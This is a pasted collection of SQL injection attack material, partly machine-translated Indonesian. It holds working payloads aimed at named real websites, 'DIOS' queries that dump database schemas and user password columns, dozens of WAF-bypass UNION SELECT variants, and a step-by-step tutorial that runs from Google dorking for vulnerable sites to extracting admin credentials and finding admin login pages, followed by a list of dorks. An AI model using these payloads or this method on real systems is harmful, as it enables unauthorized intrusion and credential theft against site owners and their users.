- Ada aplikasi yang akan mengkonversi ini untuk Anda pada distro * nix standar (dos2unix dan unix2dos)
- Bagi mereka yang bertanya-tanya, pengembalian pengangkutan dan feed garis berbeda dari kembali pada hari-hari Mesin Ketik, ketika pengembalian carriage dan feed baris adalah dua hal yang berbeda. Satu akan membawa Anda ke awal baris (Carriage Return) dan satu akan memindahkan Anda satu baris lebih rendah, tetapi di lokasi horizontal yang sama (Line Feed)
- Teknik CRLF
- Sintaks:
- Kode PHP:
- % 0A% 0D + Pernyataan Mysql +% 0A% 0D
- ? id = -2 +% 0A% 0D / *!% 0A% 0Dunion * / +% 0A% 0D / *! 50000Pilih * /% 0A% 0D / *! + 77771,77772, unhex (hex (/ *! kata sandi * /)), 77774 + dari + / *! `Users` * / - -
- Contoh di URL:
- fpchurch.org.uk/News/view.php?id=-26+%0A%0Dunion%0A%0D+%0A%0Dselect%0A%0D+1,2,3,4,5 -
- [9] Kesalahan Fatal Terjadi melewati
- untuk memahami bagaimana kami dapat melewati Fatal Error Terjadi lihat Contoh ini:
- Contoh di URL:
- http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,3,4,5,6,7,8--
- Yang disimpulkan bahwa kesalahan dalam struktur salah satu kolom Untuk menghindari kesalahan ini cobalah mengubah nilai kolom kolom kata null satu per satu: -
- Kode PHP:
- http://wwfa.org.uk/article.php?id=-174 UNION SELECT null, 2,3,4,5,6,7,8-- Kesalahan
- http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1, null, 3,4,5,6,7,8-- Kesalahan
- http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2, null, 4,5,6,7,8-- Kesalahan
- http://wwfa.org.uk/article.
- DIOS Query Collections
- 1. Show All Database --->
- (select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=/*!50000concat*/(@a,schema_name,'
- '))))a)
- 2.Show All Tables --->
- (select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where (@a)in (@a:=/*!50000concat*/(@a,table_name,'
- '))))a)
- 3. Show All Tables without information_schema ---->
- (select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where table_schema!='information_schema' and(@a)in (@a:=/*!50000concat*/(@a,table_name,'
- '))))a)
- 4. Show All Database and Tables --->
- (select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where table_schema!='information_schema' and(@a)in (@a:=/*!50000concat*/(@a,table_schema,0x3a,table_name,'
- '))))a)
- 5. Show All Database and Tables and Columns --->
- (select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and(@a)in (@a:=/*!50000concat*/(@a,table_schema,' > ',table_name,' > ',column_name,'
- '))))a)
- 6.Show Target Hacker Tables Name ---->
- (select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and table_name like 'Hacker_%' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'
- '))))a)
- 7.Show Each Table and All Table Columns ---->
- (select (@a) from (select(@a:=0x00),(@tbl:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,table_schema,' :: ',@tbl:=table_name,'',column_name), (column_name))))))a)
- 8. Show Each Table with Row Count and All Table Columns ---->
- (select (@a) from (select(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,@tbl_sc:=table_schema,' :: ',@tbl:=table_name,' (Rows ',(select table_rows from information_schema.tables where table_schema=@tbl_sc and table_name=@tbl),')
- ',column_name), (column_name))))))a)
- 9. Show Each Table with Row Count & number order and All Table Columns --->
- (select (@a) from (select(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(@num:=0),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,@num:=(@num%2b1),0x2920,@tbl_sc:=table_schema,' :: ',@tbl:=table_name,' (Rows ',(select table_rows from information_schema.tables where table_schema=@tbl_sc and table_name=@tbl),')
- ',column_name), (column_name))))))a)
- Or
- Bypass -->
- (/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345%73elect*/(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(@num:=0),(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345`%69nformation_%73chema`.`%63olumns`*/)%77here (`%74able_schema`!=/*!12345'%69nformation_schema'*/)and(0x00)in(@a:=%63oncat%0a(@a,0x3c62723e,if( (@tbl!=/*!12345`table_name`*/), %43oncat%0a(0x3c62723e,@num:=(@num%2b1),0x2920,@tbl_sc:=`table_schema`,0x203a3a20,@tbl:=`%74able_name`,0x2028526f777320,(/*!12345%73elect*/`table_rows`from/*!12345`%69nformation_schema`.`tables`*/where table_schema=@tbl_sc and/*!12345`%74able_name`*/=@tbl),0x293c62723e,/*!12345`%63olumn_name`*/), (/*!12345`%63olumn_name`*/))))))a)
- 10. Extract Column Data from Table ------>
- (select (@) from (select(@:=0x00),(select (@) from (users) where (@)in (@:=concat(@,0x3C,0x62,0x72,0x3E,' [ ',username,' ] > ',pass,' > '))))a)#
- -h4rh4r
- Sql Injection types
- 1. Error Based Injections (Union Select)
- 1. String
- 2. Intiger
- 2. Error Based Injections (Double Injection Based)
- 3. BLIND Injections:
- 1.Boolian Based
- 2.Time Based
- 4. Update Query Injection.
- 5. Insert Query Injections.
- 6. Header Injections.
- 1.Referer based.
- 2.UserAgent based.
- 3.Cookie based.
- MYSQL INJECTION - BYPASS UNION SELECT (WAF)
- WHAT IS BYPASS : when target having WAF (web application firewall) secure encption or security on there server its cannot be directly get any vulnerble columns or its cannot be injeCted! so there haCker try to put diffrent query in combined charachaters encrpted,encoded,modifyed sql query parameters like one called UNION SELECT or UNION ALL SELECT!
- there is all types of waf bypass method for bypass union select!
- %55nion(%53elect 1,2,3)-- -
- +union+distinct+select+
- +union+distinctROW+select+
- /**//*!12345UNION SELECT*//**/
- /**//*!50000UNION SELECT*//**/
- /**/UNION/**//*!50000SELECT*//**/
- /*!50000UniON SeLeCt*/
- union /*!50000%53elect*/
- + #union + #select
- + #1q %0AuNiOn all#qa%0A#%0AsEleCt
- /*!%55NiOn*/ /*!%53eLEct*/
- /*!u%6eion*//*!se%6cect*/
- +un/**/ion+se/**/lect
- uni%0bon+se%0blect
- %2f**%2funion%2f**%2fselect
- union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
- REVERSE(noinu)+REVERSE(tceles)
- /*--*/union/*--*/select/*--*/
- union(/*!/**/SeleCT */ 1,2,3)
- /*!union*/+/*!select*/
- union+/*!select*/
- /**/union/**/select/**/
- /**/uNIon/**/sEleCt/**/
- /**//*!union*//**//*!select*//**/
- /*!uNIOn*//*!SelECt*/
- +union+distinct+select+
- +union+distinctROW+select+
- uNiOn aLl sElEcT
- if you got errors! please dnt loose hope! because in haCking! hope is your mirror of future in this ethical word lol i dnt want to be jesus forget these lines and try all method i m sure u got success soon! best of luck happy haCking! ;-)
- ~h4rh4r
- Di sini Anda akan menemukan tutorial langkah demi langkah yang sangat detail yang ditulis oleh saya (PhortyPhour) tentang injeksi SQL. Ini murni untuk tujuan pendidikan dan akan digunakan atas kebijaksanaan pembaca.
- Pertama kita harus tahu persis apa itu injeksi SQL.
- Injeksi SQL adalah teknik injeksi kode yang mengeksploitasi kerentanan keamanan yang terjadi di lapisan basis data aplikasi. Kerentanan hadir ketika input pengguna salah difilter untuk karakter string literal escape yang tertanam dalam pernyataan SQL atau input pengguna tidak diketik kuat dan dengan demikian secara tidak terduga dieksekusi. Ini adalah contoh dari kelas kerentanan yang lebih umum yang dapat terjadi setiap kali salah satu pemrograman atau bahasa scripting tertanam di dalam yang lain. Serangan injeksi SQL juga dikenal sebagai serangan penyisipan SQL.
- Itu adalah paragraf pertama dari halaman wikipedia untuk SQLi (injeksi SQL) ditemukan di sini:
- http://en.wikipedia.org/wiki/SQL_injection
- Saya akan menyarankan membaca seluruh halaman.
- Apa yang dicakup dalam tutorial ini?
- Bagian Satu - Penilaian Situs Web
- Bagian Satu - Menemukan situs web yang rentan
- Bagian Dua - Menentukan jumlah kolom
- Bagian Tiga - Menemukan kolom mana yang rentan
- Bagian Dua - Mengumpulkan Informasi
- Bagian Satu - Menentukan versi SQL
- Bagian Dua - Menemukan basis data
- Bagian Tiga - The Good Stuff
- Bagian Satu - Menemukan nama-nama tabel
- Bagian Dua - Menemukan nama-nama kolom
- Bagian Tiga - Menampilkan isi kolom
- Bagian Empat - Mencari halaman admin
- Sekarang mari kita mulai.
- Bagian Satu - Penilaian Situs Web
- Agar kami dapat mulai mengeksploitasi situs web, pertama-tama kami harus tahu persis apa yang kami suntikkan. Inilah yang akan kami bahas di Bagian Satu bersama dengan cara menilai informasi yang kami kumpulkan.
- Bagian Satu - Menemukan situs web yang rentan
- Situs web yang rentan dapat ditemukan menggunakan dorks (saya akan menyertakan daftar di akhir tutorial ini), baik di Google atau dengan pemindai eksploit. Bagi Anda yang tidak terbiasa dengan istilah "dorks", saya akan mencoba menjelaskan.
- Dorks adalah URL situs web yang dikenal rentan. Dalam injeksi SQL, dorks ini terlihat seperti ini:
- Kode:
- inurl: buy.php? id =
- Ini akan dimasukkan ke mesin pencari dan karena "inurl:" bagian dari dork, mesin pencari akan mengembalikan hasil dengan URL yang berisi karakter yang sama. Beberapa situs yang memiliki dork ini di situs web mereka mungkin rentan terhadap injeksi SQL.
- Sekarang katakanlah kami menemukan halaman:
- Kode:
- http://www.site.com/buy.php?id=1
- Untuk menguji situs ini, yang perlu kita lakukan adalah menambahkan 'baik di antara tanda "=" dan "1" atau setelah "1" sehingga terlihat seperti ini:
- Kode:
- http://www.site.com/buy.php?id=1 '
- atau
- http://www.site.com/buy.php?id='1
- Setelah menekan enter, jika situs web ini mengembalikan kesalahan seperti berikut:
- Kode:
- Peringatan: mysql_fetch_array (): argumen yang disediakan bukanlah sumber daya hasil MySQL yang valid di /home1/michafj0/public_html/gallery.php on line 7
- Atau sesuatu di sepanjang garis itu, ini berarti rentan terhadap injeksi.
- Dalam kasus di mana Anda menemukan situs web seperti ini:
- Kode:
- http://www.site.com/buy.php?id=1&dog;catid=2
- Maka Anda harus menggunakan teknik yang sama dengan menambahkan 'kecuali itu harus antara nilai (dalam hal ini nomor) dan operator ("=" tanda) sehingga terlihat seperti ini:
- Kode:
- http://www.site.com/buy.php?id='1&dog;catid='2
- Ada program yang akan melakukan ini untuk Anda tetapi untuk memulai saya akan menyarankan hanya untuk melakukan hal-hal secara manual, menggunakan Google, dan jadi saya tidak akan memposting apa pun untuk Anda. Jika Anda merasa sangat terpaksa untuk menggunakan satu lagi. Saya merekomendasikan Exploit Scanner oleh Reiluke.
- Bagian Dua - Menentukan jumlah kolom
- Agar kami dapat menggunakan perintah dan mendapatkan hasil, kami harus tahu berapa banyak kolom yang ada di situs web. Jadi untuk menemukan jumlah kolom kita harus menggunakan metode yang sangat kompleks dan canggih yang saya suka sebut "Trial and Error" dengan perintah ORDER BY Biggrin
- CATATAN: SQL tidak peduli apakah huruf Anda dikapitalisasi atau tidak dan saya hanya melakukannya karena kejelasan, karena semua yang peduli pertanyaan Anda bisa terlihat seperti ini:
- Kode:
- http://www.site.com/buy.php?id=-1 CaN I HaZ TeH PaSSwOrDs? PLz dan ThX
- TIDAK MASALAH (btw tolong jangan berpikir itu adalah perintah yang sebenarnya).
- Jadi kembali ke perintah ORDER BY. Untuk menemukan jumlah kolom, kami menulis kueri dengan nilai inkrementing hingga kami mendapatkan kesalahan, seperti ini:
- Kode:
- http://www.site.com/buy.php?id=1 ORDER BY 1-- <--- Tidak ada kesalahan
- http://www.site.com/buy.php?id=1 ORDER BY 2-- <--- Tidak ada kesalahan
- http://www.site.com/buy.php?id=1 ORDER BY 3-- <--- Tidak ada kesalahan
- http://www.site.com/buy.php?id=1 ORDER BY 4-- <--- Tidak ada kesalahan
- http://www.site.com/buy.php?id=1 ORDER BY 5-- <--- ERROR!
- Ini berarti ada empat kolom!
- JANGAN LUPA UNTUK MENGUNGKAPKAN NULL DOUBLE (-) SETELAH QUERY.
- SANGAT PENTING!
- Bagian Tiga - Menemukan kolom mana yang rentan
- Jadi kita tahu bahwa ada empat kolom sekarang kita harus mencari tahu mana yang rentan terhadap injeksi. Untuk melakukan ini, kami menggunakan UNION dan SELECT queries sambil mempertahankan double null (-) di akhir string. Ada juga perbedaan lain yang berukuran kecil tetapi tidak penting, lihat apakah Anda dapat menemukannya.
- Kode:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1,2,3,4--
- Jika Anda tidak dapat menemukan perbedaannya, ini adalah nol tambahan di antara tanda "=" dan nilai (nomor).
- buy.php? id = -1
- Sekarang setelah memasukkan pertanyaan itu Anda harus dapat melihat beberapa angka di suatu tempat di halaman yang tampaknya tidak pada tempatnya. Itu adalah jumlah kolom yang rentan terhadap injeksi. Kita dapat menggunakan kolom-kolom itu untuk menarik informasi dari database yang akan kita lihat di Bagian Dua.
- Bagian Dua - Mengumpulkan Informasi
- Pada bagian ini kita akan menemukan bagaimana menemukan nama database dan versi SQL apa yang digunakan situs web dengan menggunakan kueri untuk mengeksploitasi situs.
- Bagian Satu - Menentukan versi SQL.
- Menemukan versi SQL dari situs web adalah langkah yang sangat penting karena langkah yang Anda ambil untuk versi 4 cukup berbeda dari versi 5 untuk mendapatkan apa yang Anda inginkan. Dalam tutorial ini, saya tidak akan membahas versi 4 karena ini adalah permainan menebak dan untuk jenis situs yang masih menggunakannya, itu tidak sebanding dengan waktu Anda.
- Jika kita melihat kembali ke akhir Bagian Tiga di Bagian Satu kita melihat bagaimana menemukan kolom yang rentan. Menggunakan informasi itu kita dapat mengumpulkan pertanyaan berikutnya (saya akan menggunakan kolom 2). Perintah akan terlihat seperti ini:
- Kode:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, @@ version, 3,4--
- Karena 2 adalah kolom rentan, di sinilah kita akan menempatkan "@@ version". String lain yang dapat menggantikan "@@ version" adalah "versi ()".
- Jika situs web masih tidak menampilkan versi coba menggunakan unhex (hex ()) yang terlihat seperti ini:
- Kode:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, unhex (hex (@@ version)), 3,4--
- CATATAN: Jika metode ini harus digunakan di sini, itu harus digunakan untuk sisa suntikan juga.
- Sekarang apa yang ingin Anda lihat adalah sesuatu di bawah garis-garis ini:
- Kode:
- 5.1.47-komunitas-log
- Yang merupakan versi dari SQL untuk situs web.
- CATATAN: Jika Anda melihat versi 4 dan Anda ingin mencobanya, ada tutorial lain yang menjelaskan cara menyuntikkannya.
- Bagian Dua - Menemukan basis data
- Menemukan nama basis data tidak selalu merupakan langkah yang diperlukan untuk mengumpulkan informasi yang Anda inginkan, namun dalam pengalaman saya mengikuti langkah-langkah ini dan menemukan basis data terkadang dapat menghasilkan tingkat keberhasilan yang lebih tinggi.
- Untuk menemukan database kami menggunakan query seperti yang di bawah ini:
- Kode:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (schema_name), 3,4 dari information_schema.schemata--
- Ini terkadang menghasilkan lebih banyak hasil daripada yang diperlukan dan saat itulah kami beralih ke kueri ini:
- Kode:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, concat (database ()), 3,4--
- Selamat! Anda sekarang memiliki nama database! Salin dan tempelkan nama di suatu tempat yang aman, kita akan membutuhkannya nanti.
- Bagian Tiga - The Good Stuff
- Ini adalah bagian yang menyenangkan di mana kami akan menemukan nama pengguna, email, dan kata sandi!
- Bagian Satu - Menemukan nama-nama tabel
- Untuk menemukan nama tabel kami menggunakan query yang mirip dengan yang digunakan untuk mencari database dengan sedikit tambahan tambahan:
- Kode:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (table_name), 3,4 FROM information_schema.tables WHERE table_schema = database () -
- Mungkin terlihat panjang dan membingungkan tetapi setelah Anda memahaminya, itu tidak benar-benar saya akan coba jelaskan. Apa yang dilakukan oleh query ini adalah "groups" (group_concat) "nama tabel" (nama_tabel) bersama-sama dan mengumpulkan informasi tersebut "dari" (FROM) information_schema.tables di mana "skema tabel" (table_schema) dapat ditemukan di "basis data "(database ()).
- CATATAN: Saat menggunakan group_concat Anda hanya akan dapat melihat tabel 1024 karakter, jadi jika Anda melihat bahwa tabel terputus pada saklar akhir untuk membatasi yang akan saya jelaskan sekarang.
- Kode:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, table_name, 3,4 FROM information_schema.tables WHERE table_schema = database () LIMIT 0,1--
- Apa yang dilakukan adalah menampilkan tabel pertama dan satu-satunya yang pertama. Jadi jika kita kehabisan karakter, katakanlah tabel ke-31 kita bisa menggunakan query ini:
- Kode:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, table_name, 3,4 FROM information_schema.tables WHERE table_schema = database () LIMIT 30,1--
- Perhatikan bagaimana batas saya adalah 30,1 bukannya 31,1? Ini karena ketika menggunakan batas dimulai dari 0,1 yang berarti bahwa ke-30 sebenarnya adalah Tongue ke-31
- Anda sekarang memiliki semua nama tabel!
- Bagian Dua - Menemukan nama-nama kolom
- Sekarang setelah Anda memiliki semua nama tabel coba dan pilih salah satu yang menurut Anda akan berisi informasi berair. Biasanya mereka adalah tabel seperti User (s), Admin (s), tblUser (s) dan sebagainya tetapi itu bervariasi antar situs.
- Setelah menentukan tabel mana yang menurut Anda berisi informasi, gunakan kueri ini (dalam contoh saya, saya akan menggunakan nama tabel "Admin"):
- Kode:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (column_name), 3,4 FROM information_schema.columns WHERE table_name = "Admin" -
- Ini akan memberi Anda daftar semua kolom di dalam tabel atau memberi Anda kesalahan tetapi jangan panik jika hasilnya # 2! Semua ini berarti bahwa Kutipan Sihir diaktifkan. Ini dapat dilewati dengan menggunakan hex atau char converter (keduanya berfungsi) untuk mengonversi teks normal menjadi char atau hex (tautan ke situs web yang melakukan ini akan dimasukkan di akhir tutorial).
- PEMBARUAN: Jika Anda mendapatkan kesalahan pada titik ini, yang harus Anda lakukan adalah ikuti langkah-langkah berikut:
- 1. Salin nama tabel yang Anda coba akses.
- 2. Tempelkan nama tabel ke dalam situs web ini yang bertuliskan "Say Hello To My Little Friend".
- Konverter Hex / Char
- http://www.swingnote.com/tools/texttohex.php
- 3. Klik konversikan.
- 4. Salin string angka / huruf di bawah Hex ke dalam kueri Anda sehingga terlihat seperti ini:
- Kode:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (column_name), 3,4 FROM information_schema.columns WHERE table_name = 0x41646d696e--
- Perhatikan bagaimana sebelum saya menempelkan hex saya menambahkan "0x", semua ini memberitahu server bahwa karakter berikut adalah bagian dari string hex.
- Anda sekarang harus melihat daftar semua kolom dalam tabel seperti nama pengguna, kata sandi, dan email.
- CATATAN: Menggunakan fungsi batas berfungsi dengan kolom juga.
- Bagian Tiga - Menampilkan isi kolom
- Kami hampir selesai! Yang harus kita lakukan adalah melihat apa yang ada di dalam kolom itu dan menggunakan informasi untuk masuk! Untuk melihat kolom yang kita butuhkan untuk memutuskan mana yang ingin kita lihat dan kemudian menggunakan query ini (dalam contoh ini saya ingin melihat kolom "username", "password", dan "email", dan nama database saya akan "db123 "). Di sinilah nama database berguna:
- Kode:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (nama pengguna, 0x3a, kata sandi, 0x3a, email), 3,4 DARI db123.Admin--
- Dalam query ini, 0x3a adalah nilai hex dari titik dua (:) yang akan mengelompokkan username: password: email untuk masing-masing pengguna begitu saja.
- AKHIRNYA! Sekarang Anda memiliki informasi login untuk pengguna situs, termasuk admin. Yang harus Anda lakukan sekarang adalah menemukan halaman login admin yang membawa kita ke Bagian Empat.
- Bagian Empat - Mencari halaman admin
- Biasanya halaman admin akan langsung dari halaman beranda situs, berikut beberapa contohnya:
- Kode:
- http://www.site.com/admin
- http://www.site.com/adminlogin
- http://www.site.com/modlogin
- http://www.site.com/moderator
- Sekali lagi ada program yang akan menemukan halaman untuk Anda tetapi pertama-tama cobalah beberapa tebakan dasar, itu mungkin menghemat beberapa klik. Jika Anda menggunakan program Reiluke telah mengkodekan satu untuk itu juga. Cari Admin Finder oleh Reiluke.
- Dan itu termasuk tutorial saya! Saya harap ini bermanfaat bagi sebagian dari Anda. Ingatlah untuk terus berlatih dan akhirnya Anda akan memiliki semua pertanyaan yang dihafalkan dalam waktu singkat!
- Komentar dan Nilai!
- Berikan kredit di mana kredit jatuh tempo!
- Saya menepati janji saya jadi di sini adalah apa yang saya katakan akan saya sertakan:
- Daftar Dork
- trainers.php? id =
- article.php? ID =
- play_old.php? id =
- declaration_more.php? decl_id =
- Pageid =
- games.php? id =
- newsDetail.php? id =
- staff_id =
- historialeer.php? num =
- product-item.php? id =
- news_view.php? id =
- humor.php? id =
- communique_detail.php? id =
- sem.php3? id =
- opinions.php? id =
- spr.php? id =
- pages.php? id =
- chappies.php? id =
- prod_detail.php? id =
- viewphoto.php? id =
- view.php? id =
- website.php? id =
- hosting_info.php? id =
- gery.php? id =
- detail.php? ID =
- publikasi.php? id =
- Productinfo.php? Id =
- releases.php? id =
- ray.php? id =
- produit.php? id =
- pop.php? id =
- shopping.php? id =
- productdetail.php? id =
- post.php? id =
- section.php? id =
- theme.php? id =
- page.php? id =
- shredder-categories.php? id =
- product_ranges_view.php? ID =
- shop_category.php? id =
- channel_id =
- newsid =
- news_display.php? getid =
- ages.php? id =
- clanek.php4? id =
- review.php? id =
- iniziativa.php? in =
- kurikulum.php? id =
- labels.php? id =
- lihat.php? ID =
- galeri_info.php? l =
- tekst.php? idt =
- newscat.php? id =
- newsticker_info.php? idn =
- rubrika.php? idr =
- offer.php? idf =
- Ada daftar dork yang lebih luas yang dapat ditemukan.
- Konverter Hex / Char
- http://www.swingnote.com/tools/texttohex.php
Add Comment
Please, Sign In to add comment